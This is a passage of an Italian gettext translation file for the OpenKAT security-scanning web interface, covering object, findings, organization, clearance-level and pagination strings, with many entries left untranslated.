python-format\nmsgid \"Add %(display_type)s\"\nmsgstr \"Aggiungi %(display_type)s\"\n\n#: rocky/templates/oois/ooi_add_type_select.html\n#: rocky/templates/oois/ooi_detail_add_related_object.html\n#: rocky/templates/partials/elements/ooi_add_type_select_form.html\n#: rocky/templates/partials/ooi_list_toolbar.html rocky/views/ooi_add.py\nmsgid \"Add object\"\nmsgstr \"Aggiungi oggetto\"\n\n#: rocky/templates/oois/ooi_add_type_select.html\nmsgid \"Select the type of object you want to create.\"\nmsgstr \"Seleziona il tipo di oggetto che desideri creare.\"\n\n#: rocky/templates/oois/ooi_delete.html\n#, python-format\nmsgid \"Delete %(primary_key)s\"\nmsgstr \"Elimina %(primary_key)s\"\n\n#: rocky/templates/oois/ooi_delete.html\nmsgid \"Are you sure?\"\nmsgstr \"Sei sicuro?\"\n\n#: rocky/templates/oois/ooi_delete.html\n#, python-format\nmsgid \"Here you can delete the %(display_type)s.\"\nmsgstr \"Qui puoi eliminare il %(display_type)s.\"\n\n#: rocky/templates/oois/ooi_delete.html\nmsgid \"To be deleted object(s)\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_delete.html\n#: rocky/templates/partials/elements/ooi_tree_condensed_table.html\nmsgid \"Key\"\nmsgstr \"Chiave\"\n\n#: rocky/templates/oois/ooi_delete.html\n#: rocky/templates/partials/ooi_detail_toolbar.html\n#, python-format\nmsgid \"Delete %(display_type)s\"\nmsgstr \"Elimina %(display_type)s\"\n\n#: rocky/templates/oois/ooi_delete.html\nmsgid \"Deletion not possible for types: KATFindingType and CVEFindingType\"\nmsgstr \"Eliminazione non possibile per i tipi: KATFindingType e CVEFindingType\"\n\n#: rocky/templates/oois/ooi_detail.html\nmsgid \"using boefjes\"\nmsgstr \"usando boefjes\"\n\n#: rocky/templates/oois/ooi_detail.html\n#: rocky/templates/organizations/organization_settings.html\nmsgid \"indemnification warning\"\nmsgstr \"avviso di indennizzo\"\n\n#: rocky/templates/oois/ooi_detail.html\n#, python-format\nmsgid \"\"\n\"<strong>Warning:</strong> There is no indemnification for this organization. \"\n\"Go to the <a href=\\\"%(organization_settings)s\\\">organization settings page</\"\n\"a> to add one.\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_detail.html\nmsgid \"Permission warning\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_detail.html\nmsgid \"\"\n\"<strong>Warning:</strong> You don't have the proper permission at the \"\n\"organizational level to scan objects. Contact your administrator.\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_detail.html\n#: rocky/templates/scan_profiles/scan_profile_detail.html\nmsgid \"Scan warning\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_detail.html\n#, python-format\nmsgid \"\"\n\"<strong>Warning:</strong> You are not allowed to scan this OOI. Your maximum \"\n\"clearance level is %(member_clearance_level)s and this OOI has level \"\n\"%(boefje_scan_level)s. Go to your <a href=\\\"%(account_details)s\\\">account \"\n\"details</a> to manage your clearance level.\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_detail.html rocky/templates/scan.html\nmsgid \"Boefjes overview\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_detail.html\n#: rocky/templates/oois/ooi_detail_origins_observations.html\n#: rocky/templates/scan.html rocky/templates/tasks/boefjes.html\n#: rocky/templates/tasks/normalizers.html\nmsgid \"Boefje\"\nmsgstr \"Boefje\"\n\n#: rocky/templates/oois/ooi_detail.html rocky/templates/scan.html\nmsgid \"Scan profile\"\nmsgstr \"Profilo di scansione\"\n\n#: rocky/templates/oois/ooi_detail.html\nmsgid \"Unable to start scan. See the warning for more details.\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_detail.html\nmsgid \"Start scan\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_detail.html\nmsgid \"There are no boefjes enabled to scan an OOI of type\"\nmsgstr \"\"\n\"Non ci sono boefjes abilitati a eseguire la scansione di un OOI di tipo\"\n\n#: rocky/templates/oois/ooi_detail.html\nmsgid \"See\"\nmsgstr \"Vedi\"\n\n#: rocky/templates/oois/ooi_detail.html\nmsgid \"to find and enable boefjes that can scan within the current level.\"\nmsgstr \"\"\n\"per trovare e abilitare i boefjes che possono eseguire la scansione \"\n\"all'interno del livello attuale.\"\n\n#: rocky/templates/oois/ooi_detail_add_related_object.html\n#: rocky/templates/partials/ooi_detail_related_object.html\nmsgid \"Add related object\"\nmsgstr \"Aggiungi oggetto correlato\"\n\n#: rocky/templates/oois/ooi_detail_add_related_object.html\n#: rocky/templates/oois/ooi_detail_object.html\nmsgid \"Object details\"\nmsgstr \"Dettagli dell'oggetto\"\n\n#: rocky/templates/oois/ooi_detail_add_related_object.html\n#: rocky/templates/partials/elements/ooi_add_type_select_form.html\nmsgid \"Object type\"\nmsgstr \"Tipo di oggetto\"\n\n#: rocky/templates/oois/ooi_detail_add_related_object.html\n#: rocky/templates/partials/elements/ooi_add_type_select_form.html\nmsgid \"Choose an object type to add\"\nmsgstr \"Scegli un tipo di oggetto da aggiungere\"\n\n#: rocky/templates/oois/ooi_detail_add_related_object.html\n#: rocky/templates/partials/elements/ooi_add_type_select_form.html\nmsgid \"Select an object type to add.\"\nmsgstr \"Seleziona un tipo di oggetto da aggiungere.\"\n\n#: rocky/templates/oois/ooi_detail_findings_list.html\nmsgid \"Overview of findings for\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_detail_findings_list.html\nmsgid \"Score\"\nmsgstr \"Punteggio\"\n\n#: rocky/templates/oois/ooi_detail_findings_list.html\n#: rocky/templates/partials/ooi_report_findings_block_table_expanded_row.html\nmsgid \"Finding details\"\nmsgstr \"Dettagli del rilevamento\"\n\n#: rocky/templates/oois/ooi_detail_findings_overview.html\nmsgid \"Overview of the number of findings and their severity found on\"\nmsgstr \"Panoramica del numero di rilevamenti e della loro gravità trovati su\"\n\n#: rocky/templates/oois/ooi_detail_findings_overview.html\nmsgid \"\"\n\"Findings can occur multiple times. To give better insight the following \"\n\"table shows the number of unique findings found as well as the number of \"\n\"occurrences.\"\nmsgstr \"\"\n\"I rilevamenti possono verificarsi più volte. Per fornire una migliore \"\n\"comprensione, la seguente tabella mostra il numero di rilevamenti univoci \"\n\"trovati e il numero di occorrenze.\"\n\n#: rocky/templates/oois/ooi_detail_findings_overview.html\nmsgid \"See finding details\"\nmsgstr \"Vedi i dettagli del rilevamento\"\n\n#: rocky/templates/oois/ooi_detail_findings_overview.html\nmsgid \"Total findings\"\nmsgstr \"Totale dei rilevamenti\"\n\n#: rocky/templates/oois/ooi_detail_object.html\n#: rocky/templates/scan_profiles/scan_profile_detail.html\nmsgid \"Inactive\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_detail_origins_declarations.html\nmsgid \"Declarations\"\nmsgstr \"Dichiarazioni\"\n\n#: rocky/templates/oois/ooi_detail_origins_inference.html\nmsgid \"Inferred by\"\nmsgstr \"Inferito da\"\n\n#: rocky/templates/oois/ooi_detail_origins_inference.html\nmsgid \"Bit\"\nmsgstr \"Bit\"\n\n#: rocky/templates/oois/ooi_detail_origins_inference.html\nmsgid \"Parameters\"\nmsgstr \"Parametri\"\n\n#: rocky/templates/oois/ooi_detail_origins_observations.html\nmsgid \"Last observed by\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_detail_origins_observations.html\nmsgid \"Task ID\"\nmsgstr \"ID Attività\"\n\n#: rocky/templates/oois/ooi_detail_origins_observations.html\nmsgid \"When\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_detail_origins_observations.html\n#: rocky/templates/tasks/normalizers.html\nmsgid \"Normalizer\"\nmsgstr \"Normalizer\"\n\n#: rocky/templates/oois/ooi_detail_origins_observations.html\nmsgid \"This scan was manually created.\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_detail_origins_observations.html\nmsgid \"The boefje has since been deleted or disabled.\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_detail_origins_observations.html\nmsgid \"No Raw file could be found, this might point to an error in OpenKAT\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_detail_origins_observations.html\n#: rocky/templates/scan_profiles/scan_profile_detail.html\nmsgid \"Warning\"\nmsgstr \"Avviso\"\n\n#: rocky/templates/oois/ooi_edit.html\n#, python-format\nmsgid \"Edit %(type)s: %(ooi_human_readable)s\"\nmsgstr \"Modifica %(type)s: %(ooi_human_readable)s\"\n\n#: rocky/templates/oois/ooi_edit.html\nmsgid \"Primary key fields cannot be edited.\"\nmsgstr \"I campi della chiave primaria non possono essere modificati.\"\n\n#: rocky/templates/oois/ooi_edit.html\n#, python-format\nmsgid \"Save %(display_type)s\"\nmsgstr \"Salva %(display_type)s\"\n\n#: rocky/templates/oois/ooi_findings.html\nmsgid \"Currently no findings have been identified for OOI\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_list.html\n#, python-format\nmsgid \"\"\n\"An overview of objects found for organization <strong>%(organization_name)s</\"\n\"strong>. Objects can be added manually or by running Boefjes. Click an \"\n\"object for additional information.\"\nmsgstr \"\"\n\"Una panoramica degli oggetti trovati per l'organizzazione \"\n\"<strong>%(organization_name)s</strong>. Gli oggetti possono essere aggiunti \"\n\"manualmente o tramite l'esecuzione di Boefjes. Clicca su un oggetto per \"\n\"ulteriori informazioni.\"\n\n#: rocky/templates/oois/ooi_list.html\n#: rocky/templates/scan_profiles/scan_profile_detail.html\nmsgid \"Edit clearance level\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_mute_finding.html\nmsgid \"Mute finding:\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_mute_finding.html\nmsgid \"Give a reason below why you want to mute this finding.\"\nmsgstr \"\"\n\"Fornisci di seguito una ragione per cui desideri silenziare questo \"\n\"rilevamento.\"\n\n#: rocky/templates/oois/ooi_mute_finding.html\n#: rocky/templates/partials/mute_findings_modal.html\n#: rocky/templates/partials/ooi_detail_toolbar.html\nmsgid \"Mute finding\"\nmsgstr \"Silenzia rilevamento\"\n\n#: rocky/templates/oois/ooi_mute_finding.html\nmsgid \"Mute\"\nmsgstr \"Silenzia\"\n\n#: rocky/templates/oois/ooi_page_tabs.html\nmsgid \"List of views for OOI\"\nmsgstr \"Elenco delle visualizzazioni per OOI\"\n\n#: rocky/templates/oois/ooi_past_due_warning.html\nmsgid \"This object is past due\"\nmsgstr \"Questo oggetto è scaduto\"\n\n#: rocky/templates/oois/ooi_past_due_warning.html\nmsgid \"This object is past due and has been deleted\"\nmsgstr \"Questo oggetto è scaduto ed è stato eliminato\"\n\n#: rocky/templates/oois/ooi_past_due_warning.html\nmsgid \"\"\n\"This object is past due. You are viewing the object state in a past state.\"\nmsgstr \"\"\n\"Questo oggetto è scaduto. Stai visualizzando lo stato dell'oggetto in uno \"\n\"stato passato.\"\n\n#: rocky/templates/oois/ooi_past_due_warning.html\nmsgid \"\"\n\"You will not be able to add Findings or other OOI's to past due objects.\"\nmsgstr \"\"\n\"Non sarai in grado di aggiungere Rilevamenti o altri OOI agli oggetti \"\n\"scaduti.\"\n\n#: rocky/templates/oois/ooi_past_due_warning.html\n#: rocky/templates/partials/hyperlink_ooi_id.html\n#, python-format\nmsgid \"Show details for %(name)s\"\nmsgstr \"Mostra dettagli per %(name)s\"\n\n#: rocky/templates/oois/ooi_past_due_warning.html\nmsgid \"View the current state\"\nmsgstr \"Visualizza lo stato attuale\"\n\n#: rocky/templates/oois/ooi_past_due_warning.html\nmsgid \"\"\n\"You will not be able to add Findings or other OOI's, this object has been \"\n\"deleted and is no longer available.\"\nmsgstr \"\"\n\"Non sarai in grado di aggiungere Rilevamenti o altri OOI, questo oggetto è \"\n\"stato eliminato e non è più disponibile.\"\n\n#: rocky/templates/oois/ooi_summary.html\nmsgid \"Summary for\"\nmsgstr \"Sommario per\"\n\n#: rocky/templates/oois/ooi_summary.html\nmsgid \"Below you can see findings that were found for\"\nmsgstr \"Di seguito puoi vedere i rilevamenti trovati per\"\n\n#: rocky/templates/oois/ooi_summary.html\nmsgid \"and direct  children of this\"\nmsgstr \"e figli diretti di questo\"\n\n#: rocky/templates/oois/ooi_summary.html\nmsgid \"This\"\nmsgstr \"Questo\"\n\n#: rocky/templates/oois/ooi_summary.html\nmsgid \"tree view\"\nmsgstr \"visualizzazione ad albero\"\n\n#: rocky/templates/oois/ooi_summary.html\nmsgid \"of the\"\nmsgstr \"di\"\n\n#: rocky/templates/oois/ooi_summary.html\nmsgid \"shows the same objects.\"\nmsgstr \"mostra gli stessi oggetti.\"\n\n#: rocky/templates/organizations/organization_add.html\nmsgid \"\"\n\"Please enter the following organization details. These details can be edited \"\n\"within the organization page within OpenKAT when necessary.\"\nmsgstr \"\"\n\"Inserisci i seguenti dettagli dell'organizzazione. Questi dettagli possono \"\n\"essere modificati nella pagina dell'organizzazione in OpenKAT quando \"\n\"necessario.\"\n\n#: rocky/templates/organizations/organization_edit.html\nmsgid \"Edit organization\"\nmsgstr \"Modifica organizzazione\"\n\n#: rocky/templates/organizations/organization_edit.html\nmsgid \"Save organization\"\nmsgstr \"Salva organizzazione\"\n\n#: rocky/templates/organizations/organization_list.html\nmsgid \"An overview of all organizations you are a member of.\"\nmsgstr \"\"\n\n#: rocky/templates/organizations/organization_list.html\nmsgid \"Add new organization\"\nmsgstr \"Aggiungi nuova organizzazione\"\n\n#: rocky/templates/organizations/organization_list.html\n#, python-format\nmsgid \"\"\n\"\\n\"\n\"                            Showing %(total)s organizations\\n\"\n\"                        \"\nmsgstr \"\"\n\n#: rocky/templates/organizations/organization_list.html\nmsgid \"Organization overview:\"\nmsgstr \"Panoramica dell'organizzazione:\"\n\n#: rocky/templates/organizations/organization_list.html\n#: rocky/templates/organizations/organization_settings.html\nmsgid \"Tags\"\nmsgstr \"Tag\"\n\n#: rocky/templates/organizations/organization_list.html\nmsgid \"There were no organizations found for your user account\"\nmsgstr \"Non sono state trovate organizzazioni per il tuo account utente\"\n\n#: rocky/templates/organizations/organization_list.html\nmsgid \"Actions to perform for all of your organizations.\"\nmsgstr \"\"\n\n#: rocky/templates/organizations/organization_list.html\n#: rocky/templates/organizations/organization_settings.html\nmsgid \"Rerun all bits\"\nmsgstr \"Riavvia tutti i bit\"\n\n#: rocky/templates/organizations/organization_member_add.html\nmsgid \"Change account type\"\nmsgstr \"\"\n\n#: rocky/templates/organizations/organization_member_add_header.html\n#: rocky/views/organization_member_add.py\nmsgid \"Add member\"\nmsgstr \"\"\n\n#: rocky/templates/organizations/organization_member_add_header.html\n#, python-format\nmsgid \"\"\n\"Creating a new member of organization <strong>%(organization)s</strong>. For \"\n\"detailed information about the different account types, check the <a \"\n\"href=\\\"https://docs.openkat.nl/basics/users-and-organisations.html#users\\\" \"\n\"target=\\\"_blank\\\" rel=\\\"noopener\\\">documentation</a>.\"\nmsgstr \"\"\n\n#: rocky/templates/organizations/organization_member_edit.html\n#: rocky/views/organization_member_edit.py\nmsgid \"Edit member\"\nmsgstr \"Modifica membro\"\n\n#: rocky/templates/organizations/organization_member_edit.html\nmsgid \"Save member\"\nmsgstr \"Salva membro\"\n\n#: rocky/templates/organizations/organization_member_list.html\n#, python-format\nmsgid \"An overview of members of <strong>%(organization_name)s</strong>.\"\nmsgstr \"\"\n\n#: rocky/templates/organizations/organization_member_list.html\nmsgid \"Add member(s)\"\nmsgstr \"Aggiungi membro(i)\"\n\n#: rocky/templates/organizations/organization_member_list.html\nmsgid \"Manually\"\nmsgstr \"Manualmente\"\n\n#: rocky/templates/organizations/organization_member_list.html\nmsgid \"Upload a CSV\"\nmsgstr \"Carica un CSV\"\n\n#: rocky/templates/organizations/organization_member_list.html\n#, python-format\nmsgid \"\"\n\"\\n\"\n\"                        Showing %(total)s members\\n\"\n\"                    \"\nmsgstr \"\"\n\n#: rocky/templates/organizations/organization_member_list.html\nmsgid \"Member overview:\"\nmsgstr \"Panoramica dei membri:\"\n\n#: rocky/templates/organizations/organization_member_list.html\nmsgid \"Role\"\nmsgstr \"Ruolo\"\n\n#: rocky/templates/organizations/organization_member_list.html\nmsgid \"Assigned clearance level\"\nmsgstr \"Livello di autorizzazione assegnato\"\n\n#: rocky/templates/organizations/organization_member_list.html\nmsgid \"Super user\"\nmsgstr \"Super utente\"\n\n#: rocky/templates/organizations/organization_member_upload.html\n#: rocky/views/organization_member_add.py\nmsgid \"Add members\"\nmsgstr \"\"\n\n#: rocky/templates/organizations/organization_member_upload.html\n#, python-format\nmsgid \"\"\n\"To upload multiple members at once, you can upload a CSV file or you can <a \"\n\"href=\\\"%(download_url)s\\\">download the template</a>.\"\nmsgstr \"\"\n\n#: rocky/templates/organizations/organization_member_upload.html\nmsgid \"To create a custom CSV file, make sure it meets the following criteria:\"\nmsgstr \"\"\n\n#: rocky/templates/organizations/organization_member_upload.html\nmsgid \"Upload\"\nmsgstr \"Carica\"\n\n#: rocky/templates/organizations/organization_settings.html\n#, python-format\nmsgid \"\"\n\"An overview of general information and settings for \"\n\"<strong>%(organization_name)s</strong>.\"\nmsgstr \"\"\n\n#: rocky/templates/organizations/organization_settings.html\nmsgid \"\"\n\"<strong>Warning:</strong> Indemnification is not set for this organization.\"\nmsgstr \"\"\n\n#: rocky/templates/organizations/organization_settings.html\n#: rocky/views/indemnification_add.py\nmsgid \"Add indemnification\"\nmsgstr \"Aggiungi indennizzo\"\n\n#: rocky/templates/partials/current_config.html\nmsgid \"Current configuration\"\nmsgstr \"\"\n\n#: rocky/templates/partials/delete_ooi_modal.html\nmsgid \"Delete objects\"\nmsgstr \"\"\n\n#: rocky/templates/partials/delete_ooi_modal.html\nmsgid \"\"\n\"Are you sure you want to delete all the selected objects? The history of the \"\n\"deleted objects will still be available.\"\nmsgstr \"\"\n\n#: rocky/templates/partials/edit_ooi_clearance_level_modal.html\nmsgid \"Edit clearance level settings\"\nmsgstr \"\"\n\n#: rocky/templates/partials/edit_ooi_clearance_level_modal.html\nmsgid \"You are editing clearance level of all the selected objects.\"\nmsgstr \"\"\n\n#: rocky/templates/partials/edit_ooi_clearance_level_modal.html\nmsgid \"Switching between declare and inherit\"\nmsgstr \"\"\n\n#: rocky/templates/partials/edit_ooi_clearance_level_modal.html\nmsgid \"\"\n\"Clearance levels can be automatically inherited or you can manually declare \"\n\"the clearance level for an object. Switching to inherit clearance level will \"\n\"also recalculate the clearance levels of objects that inherit from these \"\n\"clearance levels.\"\nmsgstr \"\"\n\n#: rocky/templates/partials/elements/ooi_detail_settings.html\nmsgid \"Observed at\"\nmsgstr \"Osservato il\"\n\n#: rocky/templates/partials/elements/ooi_detail_settings.html\n#: rocky/templates/partials/elements/ooi_report_settings.html\nmsgid \"Show settings\"\nmsgstr \"Mostra impostazioni\"\n\n#: rocky/templates/partials/elements/ooi_detail_settings.html\n#: rocky/templates/partials/elements/ooi_report_settings.html\nmsgid \"Hide settings\"\nmsgstr \"Nascondi impostazioni\"\n\n#: rocky/templates/partials/elements/ooi_list_settings_form.html\nmsgid \"Toggle all OOI types\"\nmsgstr \"Filtra per tipi di OOI\"\n\n#: rocky/templates/partials/elements/ooi_tree_condensed_table.html\nmsgid \"Children\"\nmsgstr \"Bambini\"\n\n#: rocky/templates/partials/elements/ooi_tree_condensed_table_row.html\n#, python-format\nmsgid \"Show details for %(object_id)s, with %(child_count)s children.\"\nmsgstr \"Mostra dettagli per %(object_id)s, con %(child_count)s figli.\"\n\n#: rocky/templates/partials/elements/ooi_tree_condensed_table_row.html\n#, python-format\nmsgid \"\"\n\"Show tree for %(object_id)s with only children of type %(object_ooi_type)s\"\nmsgstr \"\"\n\"Mostra l'albero per %(object_id)s con solo figli di tipo %(object_ooi_type)s\"\n\n#: rocky/templates/partials/elements/ooi_tree_condensed_table_row.html\n#, python-format\nmsgid \"Unfold %(object_id)s with %(child_count)s children\"\nmsgstr \"Espandi %(object_id)s con %(child_count)s figli\"\n\n#: rocky/templates/partials/elements/ooi_tree_table.html\nmsgid \"go to:\"\nmsgstr \"vai a:\"\n\n#: rocky/templates/partials/elements/ooi_tree_table.html\nmsgid \"Go to detailpage\"\nmsgstr \"Vai alla pagina dei dettagli\"\n\n#: rocky/templates/partials/elements/ooi_tree_table.html\nmsgid \"detail\"\nmsgstr \"dettaglio\"\n\n#: rocky/templates/partials/elements/ooi_tree_table.html\nmsgid \"Go to tree view\"\nmsgstr \"Vai alla vista ad albero\"\n\n#: rocky/templates/partials/elements/ooi_tree_table.html\nmsgid \"tree\"\nmsgstr \"albero\"\n\n#: rocky/templates/partials/elements/ooi_tree_table.html\nmsgid \"Go to graph view\"\nmsgstr \"Vai alla vista grafico\"\n\n#: rocky/templates/partials/elements/ooi_tree_table.html\nmsgid \"graph\"\nmsgstr \"grafico\"\n\n#: rocky/templates/partials/explanations.html\nmsgid \"Clearance level inheritance\"\nmsgstr \"Eredità del livello di autorizzazione\"\n\n#: rocky/templates/partials/explanations.html\nmsgid \"OOI\"\nmsgstr \"OOI\"\n\n#: rocky/templates/partials/explanations.html\nmsgid \"Origin\"\nmsgstr \"Origine\"\n\n#: rocky/templates/partials/explanations.html\nmsgid \"Show clearance level inheritance\"\nmsgstr \"Mostra l'eredità del livello di autorizzazione\"\n\n#: rocky/templates/partials/finding_occurrence_definition_list.html\nmsgid \"Reproduction\"\nmsgstr \"Riproduzione\"\n\n#: rocky/templates/partials/form/checkbox_group_table_form.html\n#, fuzzy\nmsgid \"Please enable plugin to start scanning.\"\nmsgstr \"Abilita il plugin per avviare la scansione\"\n\n#: rocky/templates/partials/form/field_input.html\nmsgid \"Not set\"\nmsgstr \"Non impostato\"\n\n#: rocky/templates/partials/form/field_input.html\nmsgid \"Forgot email\"\nmsgstr \"Password dimenticata\"\n\n#: rocky/templates/partials/form/field_input.html\nmsgid \"Forgot password\"\nmsgstr \"Hai dimenticato la password\"\n\n#: rocky/templates/partials/form/field_input_errors.html\n#: rocky/templates/partials/notifications_block.html\nmsgid \"error\"\nmsgstr \"errore\"\n\n#: rocky/templates/partials/form/field_input_errors.html\n#: rocky/templates/partials/form/form_errors.html\n#: rocky/templates/partials/notifications_block.html\nmsgid \"Error:\"\nmsgstr \"\"\n\n#: rocky/templates/partials/form/field_input_help_text.html\nmsgid \"Open explanation\"\nmsgstr \"Apri spiegazione\"\n\n#: rocky/templates/partials/form/field_input_help_text.html\nmsgid \"Close explanation\"\nmsgstr \"Chiudi spiegazione\"\n\n#: rocky/templates/partials/form/field_input_help_text.html\n#: rocky/templates/partials/notifications_block.html\n#: rocky/templates/two_factor/core/login.html\nmsgid \"Explanation:\"\nmsgstr \"\"\n\n#: rocky/templates/partials/form/indemnification_add_form.html\nmsgid \"\"\n\"Performing security scans against assets is generally only allowed if you \"\n\"have permission to scan those assets. Certain scans might also have a \"\n\"negative impact on (your) assets. Therefore it is important to know and be \"\n\"aware of the impact of security scans.\"\nmsgstr \"\"\n\n#: rocky/templates/partials/form/indemnification_add_form.html\nmsgid \"\"\n\"An organization indemnification is required before you can use OpenKAT. With \"\n\"the indemnification you declare that you, as a person, can be held \"\n\"accountable.\"\nmsgstr \"\"\n\n#: rocky/templates/partials/form/indemnification_add_form.html\nmsgid \"Set an indemnification\"\nmsgstr \"\"\n\n#: rocky/templates/partials/hyperlink_ooi_type.html\n#, python-format\nmsgid \"Only show objects of type %(type)s\"\nmsgstr \"Mostra solo oggetti di tipo %(type)s\"\n\n#: rocky/templates/partials/list_filters.html\nmsgid \"Hide filter options\"\nmsgstr \"Nascondi opzioni di filtro\"\n\n#: rocky/templates/partials/list_filters.html\nmsgid \"Show filter options\"\nmsgstr \"Mostra opzioni di filtro\"\n\n#: rocky/templates/partials/list_paginator.html\nmsgid \"List pagination\"\nmsgstr \"Paginazione della lista\"\n\n#: rocky/templates/partials/list_paginator.html\nmsgid \"Previous Page\"\nmsgstr \"Pagina precedente\"\n\n#: rocky/templates/partials/list_paginator.html\nmsgid \"Previous\"\nmsgstr \"Precedente\"\n\n#: rocky/templates/partials/list_paginator.html\nmsgid \"Five Pages Back\"\nmsgstr \"Cinque pagine indietro\"\n\n#: rocky/templates/partials/list_paginator.html\n#: rocky/templates/partials/pagination.html\nmsgid \"Page\"\nmsgstr \"Pagina\"\n\n#: rocky/templates/partials/list_paginator.html\nmsgid \"Five Pages Forward\"\nmsgstr \"Cinque pagine avanti\"\n\n#: rocky/templates/partials/list_paginator.html\nmsgid \"Next Page\"\nmsgstr \"Pagina successiva\"\n\n#: rocky/templates/partials/list_paginator.html\nmsgid \"Next\"\nmsgstr \"Successivo\"\n\n#: rocky/templates/partials/mute_findings_modal.html\nmsgid \"You are muting the selected findings.\"\nmsgstr \"\"\n\n#: rocky/templates/partials/mute_findings_modal.html\nmsgid \"Reason:\"\nmsgstr \"\"\n\n#: rocky/templates/partials/mute_findings_modal.html\nmsgid \"Expires by (UTC):\"\nmsgstr \"\"\n\n#: rocky/templates/partials/notifications_block.html\nmsgid \"Confirmation:\"\nmsgstr \"\"\n\n#: rocky/templates/partials/ooi_detail_related_object.html\nmsgid \"No related object known for\"\nmsgstr \"\"\n\n#: rocky/templates/partials/ooi_detail_toolbar.html\nmsgid \"Generate Report\"\nmsgstr \"\"\n\n#: rocky/templates/partials/ooi_detail_toolbar.html\n#, python-format\nmsgid \"Edit %(display_type)s\"\nmsgstr \"Modifica %(display_type)s\"\n\n#: rocky/templates/partials/ooi_head.html\n#, python-format\nmsgid \"\"\n\"An overview of \\\"%(ooi)s\\\", object type \\\"%(type)s\\\". This shows general \"\n\"information and its related objects. It also gives the possibility to add \"\n\"additional related objects, or to scan for them.\"\nmsgstr \"\"\n\n#: rocky/templates/partials/ooi_list_toolbar.html\nmsgid \"Scan for objects\"\nmsgstr \"Scansione degli oggetti\"\n\n#: rocky/templates/partials/ooi_list_toolbar.html\n#: rocky/templates/upload_csv.html rocky/views/upload_csv.py\nmsgid \"Upload CSV\"\nmsgstr \"Carica CSV\"\n\n#: rocky/templates/partials/ooi_list_toolbar.html\nmsgid \"Export\"\nmsgstr \"Esporta\"\n\n#: rocky/templates/partials/ooi_list_toolbar.html\nmsgid \"Download as CSV\"\nmsgstr \"Scarica come CSV\"\n\n#: rocky/templates/partials/ooi_report_findings_block.html\n#, python-format\nmsgid \"%(total)s findings on %(name)s\"\nmsgstr \"%(total)s rilevazioni su %(name)s\"\n\n#: rocky/templates/partials/ooi_report_findings_block_table.html\n#, python-format\nmsgid \"Findings for %(type)s %(name)s on %(observed_at)s:\"\nmsgstr \"Risultati per %(type)s %(name)s il %(observed_at)s:\"\n\n#: rocky/templates/partials/ooi_report_findings_block_table.html\nmsgid \"Open finding details\"\nmsgstr \"Apri dettagli della rilevazione\"\n\n#: rocky/templates/partials/ooi_report_findings_block_table_expanded_row.html\n#, python-format\nmsgid \"Details of %(object_id)s\"\nmsgstr \"Dettagli di %(object_id)s\"\n\n#: rocky/templates/partials/ooi_report_findings_block_table_expanded_row.html\nmsgid \"\"\n\"The severity of this findingtype has not (yet) been determined by the data \"\n\"source. This situation requires manual investigation of the severity.\"\nmsgstr \"\"\n\"La gravità di questo tipo di scoperta non è ancora stata determinata dalla \"\n\"fonte dei dati. Questa situazione richiede un'indagine manuale sulla gravità.\"\n\n#: rocky/templates/partials/ooi_report_findings_block_table_expanded_row.html\nmsgid \"Total occurrences\"\nmsgstr \"Numero totale di occorrenze\"\n\n#: rocky/templates/partials/ooi_tree_toolbar_bottom.html\nmsgid \"Tree - dense view\"\nmsgstr \"Albero - vista densa\"\n\n#: rocky/templates/partials/ooi_tree_toolbar_bottom.html\nmsgid \"Tree - table view\"\nmsgstr \"Albero - vista tabella\"\n\n#: rocky/templates/partials/organization_member_list_filters.html\nmsgid \"Update List\"\nmsgstr \"Aggiorna lista\"\n\n#: rocky/templates/partials/organization_properties_table.html\nmsgid \"Organization name\"\nmsgstr \"Nome organizzazione\"\n\n#: rocky/templates/partials/organization_properties_table.html\nmsgid \"Organization code\"\nmsgstr \"Codice organizzazione\"\n\n#: rocky/templates/partials/organizations_menu_dropdown.html\nmsgid \"Select organization\"\nmsgstr \"Seleziona organizzazione\"\n\n#: rocky/templates/partials/organizations_menu_dropdown.html\n#, fuzzy\nmsgid \"All organizations\"\nmsgstr \"Le mie organizzazioni\"\n\n#: rocky/templates/partials/page-meta.html\nmsgid \"Logged in as:\"\nmsgstr \"\"\n\n#: rocky/templates/partials/pagination.html\nmsgid \"of\"\nmsgstr \"di\"\n\n#: rocky/templates/partials/pagination.html\nmsgid \"first\"\nmsgstr \"primo\"\n\n#: rocky/templates/partials/pagination.html\n#, fuzzy\nmsgid \"previous\"\nmsgstr \"Precedente\"\n\n#: rocky/templates/partials/pagination.html\nmsgid \"next\"\nmsgstr \"successivo\"\n\n#: rocky/templates/partials/pagination.html\nmsgid \"last\"\nmsgstr \"ultimo\"\n\n#: rocky/templates/partials/secondary-menu.html\nmsgid \"User navigation\"\nmsgstr \"Navigazione utente\"\n\n#: rocky/templates/partials/secondary-menu.html\nmsgid \"Close user navigation\"\nmsgstr \"Chiudi navigazione utente\"\n\n#: rocky/templates/partials/secondary-menu.html\nmsgid \"My organizations\"\nmsgstr \"Le mie organizzazioni\"\n\n#: rocky/templates/partials/secondary-menu.html\nmsgid \"Profile\"\nmsgstr \"Profilo\"\n\n#: rocky/templates/partials/skip-to-content.html\nmsgid \"Go to content\"\nmsgstr \"Vai al contenuto\"\n\n#: rocky/templates/scan_profiles/scan_profile_detail.html\nmsgid \"\"\n\"The clearance level determines the level of boefje scans allowed on this \"\n\"object. An object inherits its clearance level from neighbouring objects. \"\n\"This means that the clearance level might stay the same, increase or \"\n\"decrease, depending on other declared clearance levels.\"\nmsgstr \"\"\n\n#: rocky/templates/scan_profiles/scan_profile_detail.html\nmsgid \"Empty clearance level explanation\"\nmsgstr \"\"\n\n#: 